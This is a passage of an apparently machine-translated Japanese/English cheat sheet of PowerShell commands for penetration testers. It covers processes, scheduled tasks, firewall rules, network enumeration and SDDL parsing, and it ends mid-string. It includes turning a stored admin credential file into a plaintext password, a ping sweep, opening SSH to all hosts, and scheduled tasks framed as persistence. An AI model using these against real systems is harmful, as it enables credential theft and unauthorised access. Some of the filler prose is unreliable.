PowerShellを使用して、プロセスを終了することもできます。以下のコマンドを使用します。

Stop-Process -Name process_name

process_nameには、終了させたいプロセスの名前を指定します。例えば、notepadという名前のプロセスを終了するには、以下のコマンドを使用します。

Stop-Process -Name notepad

プロセスの作成

PowerShellを使用して、新しいプロセスを作成することもできます。以下のコマンドを使用します。

Start-Process -FilePath "path_to_executable"

path_to_executableには、実行可能ファイルのパスを指定します。例えば、C:\Windows\System32\notepad.exeを実行するには、以下のコマンドを使用します。

Start-Process -FilePath "C:\Windows\System32\notepad.exe"

プロセスの監視

PowerShellを使用して、プロセスの監視も行うことができます。以下のコマンドを使用します。

Get-Process | Where-Object {$_.Name -eq "process_name"} | ForEach-Object {Write-Host "Process ID: $($_.Id), CPU Usage: $($_.CPU)}"

process_nameには、監視したいプロセスの名前を指定します。このコマンドは、指定したプロセスのIDとCPU使用率を表示します。

以上が、PowerShellを使用したプロセスに関する基本的な操作です。これらのコマンドを使用して、プロセスの管理や監視を行うことができます。

Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

サービス

Introduction

This section provides an overview of various services that can be used for basic PowerShell for pentesters.

はじめに

このセクションでは、基本的なPowerShellを使用するためのさまざまなサービスについて概説します。

1. PowerShell Remoting

PowerShell Remoting allows remote execution of PowerShell commands on a target machine.

  1. PowerShellリモート

PowerShellリモートを使用すると、ターゲットマシンでPowerShellコマンドをリモートで実行できます。

2. Windows Management Instrumentation (WMI)

WMI provides a set of management information and control capabilities for Windows-based operating systems.

  1. Windows Management Instrumentation (WMI)

WMIは、Windowsベースのオペレーティングシステムの管理情報と制御機能のセットを提供します。

3. Active Directory Services Interface (ADSI)

ADSI allows management of directory services, such as users, groups, and computers, in a Windows environment.

  1. Active Directory Services Interface (ADSI)

ADSIを使用すると、Windows環境でユーザー、グループ、コンピュータなどのディレクトリサービスを管理できます。

4. Windows Registry

The Windows Registry is a hierarchical database that stores configuration settings and options for the operating system and installed applications.

  1. Windows Registry

Windowsレジストリは、オペレーティングシステムとインストールされたアプリケーションの設定とオプションを格納する階層型データベースです。

5. Windows Event Logs

Windows Event Logs record significant events on a Windows system, such as system startup, user logon, and application crashes.

  1. Windows Event Logs

Windowsイベントログは、システムの起動、ユーザーログオン、アプリケーションのクラッシュなど、Windowsシステム上の重要なイベントを記録します。

6. Windows Task Scheduler

The Windows Task Scheduler allows the scheduling and automation of tasks to be performed on a Windows system.

  1. Windows Task Scheduler

Windowsタスクスケジューラを使用すると、Windowsシステムでタスクのスケジュールと自動化を行うことができます。

7. Windows Services

Windows Services are background processes that run independently of the logged-in user and provide various system functions.

  1. Windows Services

Windowsサービスは、ログインしているユーザーとは独立してバックグラウンドで実行され、さまざまなシステム機能を提供します。

8. Windows Management Instrumentation Command-line (WMIC)

WMIC is a command-line interface for WMI, allowing the execution of WMI queries and commands.

  1. Windows Management Instrumentation Command-line (WMIC)

WMICは、WMIのコマンドラインインターフェースであり、WMIクエリとコマンドの実行を可能にします。

Get-Service

セキュアな文字列からパスワードを取得する

PowerShellを使用して、セキュアな文字列からパスワードを取得する方法を学びます。

$secureString = ConvertTo-SecureString -String "MySecurePassword" -AsPlainText -Force
$password = [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))

上記のコードでは、ConvertTo-SecureStringコマンドレットを使用して、セキュアな文字列を作成します。-Stringパラメータには、パスワードを指定します。-AsPlainTextパラメータは、セキュアな文字列を平文に変換するために使用されます。-Forceパラメータは、変換を強制するために使用されます。

次に、[Runtime.InteropServices.Marshal]::SecureStringToBSTRメソッドを使用して、セキュアな文字列をBSTRバイナリストリングに変換します。その後、[Runtime.InteropServices.Marshal]::PtrToStringAutoメソッドを使用して、BSTRを文字列に変換します。これにより、セキュアな文字列からパスワードが取得されます。

この方法を使用すると、セキュアな文字列からパスワードを取得することができます。

$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password

スケジュールされたタスク

Scheduled tasks are a powerful feature in Windows that allow you to automate the execution of scripts or programs at specific times or intervals. As a pentester, understanding how to leverage scheduled tasks can be beneficial for persistence, privilege escalation, and lateral movement.

スケジュールされたタスクは、特定の時間や間隔でスクリプトやプログラムの実行を自動化するためのWindowsの強力な機能です。ペンテスターとして、スケジュールされたタスクを活用する方法を理解することは、持続性、特権エスカレーション、および横方向の移動において有益です。

Viewing Scheduled Tasks

スケジュールされたタスクの表示

To view the list of scheduled tasks on a Windows system, you can use the Get-ScheduledTask cmdlet in PowerShell. This cmdlet retrieves all the scheduled tasks on the local system.

Windowsシステム上のスケジュールされたタスクのリストを表示するには、PowerShellのGet-ScheduledTaskコマンドレットを使用します。このコマンドレットは、ローカルシステム上のすべてのスケジュールされたタスクを取得します。

Get-ScheduledTask

Creating Scheduled Tasks

スケジュールされたタスクの作成

To create a new scheduled task, you can use the New-ScheduledTask cmdlet in PowerShell. This cmdlet allows you to specify the script or program to be executed, the trigger that defines when the task should run, and other settings such as the user account under which the task should run.

新しいスケジュールされたタスクを作成するには、PowerShellのNew-ScheduledTaskコマンドレットを使用します。このコマンドレットを使用すると、実行するスクリプトやプログラム、タスクの実行時期を定義するトリガー、およびタスクの実行に使用するユーザーアカウントなどの設定を指定できます。

New-ScheduledTask -Action (New-ScheduledTaskAction -Execute "C:\path\to\script.ps1") -Trigger (New-ScheduledTaskTrigger -Daily -At 3am) -User "DOMAIN\username" -Password "password"

Modifying Scheduled Tasks

スケジュールされたタスクの変更

To modify an existing scheduled task, you can use the Set-ScheduledTask cmdlet in PowerShell. This cmdlet allows you to change various properties of the task, such as the script or program to be executed, the trigger, and the user account.

既存のスケジュールされたタスクを変更するには、PowerShellのSet-ScheduledTaskコマンドレットを使用します。このコマンドレットを使用すると、実行するスクリプトやプログラム、トリガー、およびユーザーアカウントなど、タスクのさまざまなプロパティを変更できます。

Set-ScheduledTask -TaskPath "\Folder" -TaskName "TaskName" -Action (New-ScheduledTaskAction -Execute "C:\path\to\newscript.ps1") -Trigger (New-ScheduledTaskTrigger -Daily -At 4am) -User "DOMAIN\username" -Password "password"

Deleting Scheduled Tasks

スケジュールされたタスクの削除

To delete a scheduled task, you can use the Unregister-ScheduledTask cmdlet in PowerShell. This cmdlet removes the specified task from the system.

スケジュールされたタスクを削除するには、PowerShellのUnregister-ScheduledTaskコマンドレットを使用します。このコマンドレットは、指定したタスクをシステムから削除します。

Unregister-ScheduledTask -TaskPath "\Folder" -TaskName "TaskName" -Confirm:$false

Conclusion

結論

Scheduled tasks are a useful feature in Windows for automating the execution of scripts or programs. As a pentester, understanding how to view, create, modify, and delete scheduled tasks can help you in various stages of a penetration test.

スケジュールされたタスクは、スクリプトやプログラムの実行を自動化するためのWindowsの便利な機能です。ペンテスターとして、スケジュールされたタスクの表示、作成、変更、削除方法を理解することは、ペネトレーションテストのさまざまな段階で役立ちます。

Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

ネットワーク

インターフェース

Get-NetAdapter

このコマンドは、システム上のすべてのネットワークインターフェースを表示します。

Get-NetAdapter | Select-Object Name, InterfaceDescription, MacAddress, Status

このコマンドは、インターフェースの名前、説明、MACアドレス、およびステータスを表示します。

Get-NetAdapter | Where-Object {$_.Status -eq 'Up'}

このコマンドは、ステータスが「Up」アップのインターフェースのみを表示します。

Get-NetAdapter | Where-Object {$_.InterfaceDescription -like '*Ethernet*'}

このコマンドは、インターフェースの説明に「Ethernet」が含まれるインターフェースのみを表示します。

Get-NetAdapter | Where-Object {$_.MacAddress -ne $null}

このコマンドは、MACアドレスが存在するインターフェースのみを表示します。

Get-NetAdapter | Where-Object {$_.MacAddress -like '00-11-22-33-44-55'}

このコマンドは、指定したMACアドレスに一致するインターフェースのみを表示します。

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

ファイアウォール

A firewall is a network security device that monitors and controls incoming and outgoing network traffic based on predetermined security rules. It acts as a barrier between a trusted internal network and an untrusted external network, such as the internet. Firewalls can be implemented as hardware devices, software programs, or a combination of both.

ファイアウォールは、事前に定められたセキュリティルールに基づいて、ネットワークトラフィックの送受信を監視および制御するネットワークセキュリティデバイスです。信頼された内部ネットワークとインターネットなどの信頼されていない外部ネットワークの間にバリアを設けます。ファイアウォールは、ハードウェアデバイス、ソフトウェアプログラム、またはその両方の組み合わせとして実装することができます。

Get-NetFirewallRule -Enabled True

Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow

# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow

# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property  DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action

ルート

The term "route" refers to the path that network traffic takes from its source to its destination. In the context of pentesting, understanding the route can be crucial for identifying potential vulnerabilities and attack vectors.

In a Windows environment, PowerShell can be a powerful tool for gathering information about the network route. The following PowerShell commands can be used to retrieve and analyze route information:

  • Get-NetRoute: This command retrieves the routing table information, including the destination network, subnet mask, gateway, and interface index.

  • Test-NetConnection: This command can be used to test the connectivity to a specific IP address or hostname. It provides information about the route taken, including the hop count and response time.

By using these PowerShell commands, pentesters can gain insights into the network route and identify any potential weaknesses or misconfigurations that could be exploited during an attack.

route print

ARP

ARPAddress Resolution Protocolは、ネットワーク上のIPアドレスとMACアドレスの対応関係を解決するためのプロトコルです。ARPは、ネットワークデバイスが通信を行う際に、宛先のMACアドレスを特定するために使用されます。

ARPキャッシュポイズニングは、ARPプロトコルを悪用して攻撃者がネットワーク上のデバイスの通信を傍受したり、改ざんしたりする手法です。攻撃者は、ARP応答パケットを送信して、自身のMACアドレスを他のデバイスのIPアドレスに関連付けることで、通信の中継役として機能します。

ARPスプーフィングは、ARPキャッシュポイズニングの一種であり、攻撃者がネットワーク上のデバイスに対して偽のARP応答を送信することで、通信の中継役として機能します。これにより、攻撃者は通信の内容を傍受したり、改ざんしたりすることができます。

ARP攻撃を防ぐためには、以下の対策を実施することが重要です。

  • ネットワーク上のデバイスのARPキャッシュを監視し、異常なエントリを検出する
  • ネットワーク上のデバイスにARPキャッシュの更新を強制する
  • ネットワーク上のデバイスにARPキャッシュの自動削除を有効にする
  • ネットワーク上のデバイスにARPキャッシュのセキュリティ機能を有効にする

ARP攻撃は、ネットワークセキュリティにおいて重要な脅威です。適切な対策を実施することで、ARP攻撃からネットワークを保護することができます。

Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

ホスト

The hosts file is a plain text file used by the operating system to map hostnames to IP addresses. It is commonly used to block or redirect certain websites or to override DNS settings. As a pentester, you can leverage the hosts file to redirect traffic to your own IP address for analysis or to bypass certain security measures.

To modify the hosts file in Windows, you can use PowerShell. Here are some basic PowerShell commands that can be useful for pentesters:

  • Get-Content: This command allows you to read the contents of a file. You can use it to view the current hosts file entries.

  • Add-Content: This command allows you to add new entries to the hosts file. You can use it to redirect a hostname to a different IP address.

  • Set-Content: This command allows you to replace the contents of a file. You can use it to completely overwrite the hosts file with your own custom entries.

It is important to note that modifying the hosts file requires administrative privileges. Therefore, you should run PowerShell as an administrator when working with the hosts file.

Remember to exercise caution when modifying the hosts file, as incorrect entries can cause issues with network connectivity. Always make a backup of the original hosts file before making any changes.

Get-Content C:\WINDOWS\System32\drivers\etc\hosts

ピン

Pingコマンドは、ネットワーク上の特定のIPアドレスまたはホスト名に対して、応答時間と可用性をテストするために使用されます。このコマンドは、ネットワークの問題を特定するために頻繁に使用されるツールです。以下は、Pingコマンドの基本的な使用方法です。

ping <IPアドレスまたはホスト名>

このコマンドを実行すると、指定したIPアドレスまたはホスト名に対してICMPエコーリクエストが送信され、応答が返ってきます。応答時間やパケットの損失率などの情報が表示されます。

Pingコマンドは、ネットワークのトラブルシューティングやホストの可用性の確認に役立ちます。また、ネットワークのパフォーマンスを測定するためにも使用されます。

$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }

SNMP

SNMPSimple Network Management Protocolは、ネットワークデバイスの管理と監視に使用されるプロトコルです。SNMPは、ネットワーク上のデバイスの情報を収集し、管理者に通知するために使用されます。SNMPは、エージェントとマネージャの間で情報を交換するために使用されます。

SNMPは、デバイスの状態、パフォーマンス、およびその他の情報を取得するために使用されます。エージェントは、デバイス上で実行されるソフトウェアであり、SNMPリクエストを受信し、応答を返します。マネージャは、SNMPリクエストを送信し、エージェントからの応答を受信します。

SNMPは、セキュリティ上の懸念があるため、適切なセキュリティ対策が必要です。これには、SNMPコミュニティ文字列の設定、アクセス制御リストACLの使用、およびSNMPv3の使用が含まれます。

SNMPは、ネットワークデバイスの管理と監視において重要な役割を果たしていますが、悪意のあるユーザーによって悪用される可能性もあります。したがって、SNMPのセキュリティを強化するために、適切なハードニング手法を実施することが重要です。

Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

SDDL文字列を読みやすい形式に変換する

To convert the SDDL (Security Descriptor Definition Language) string into a readable format, you can use the ConvertFrom-SddlString cmdlet in PowerShell. This cmdlet allows you to parse and convert the SDDL string into an object that can be easily understood.

SDDL is a string format used to represent security descriptors in Windows. It defines the permissions and access control settings for various objects such as files, folders, and registry keys. However, the SDDL string itself can be difficult to interpret.

Here's an example of how to use the ConvertFrom-SddlString cmdlet:

$sddlString = "O:BAG:BAD:(A;;0x1;;;S-1-5-21-1234567890-1234567890-1234567890-1000)(A;;0x2;;;S-1-5-21-1234567890-1234567890-1234567890-1001)"
$securityDescriptor = ConvertFrom-SddlString -Sddl $sddlString
$securityDescriptor

In the above example, we have a sample SDDL string representing two access control entries (ACEs). The ConvertFrom-SddlString cmdlet converts this SDDL string into an object, which is then stored in the $securityDescriptor variable. Finally, we display the contents of the $securityDescriptor variable.

By using the ConvertFrom-SddlString cmdlet, you can easily convert and understand the SDDL string, making it more readable and manageable during your pentesting activities.


PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCD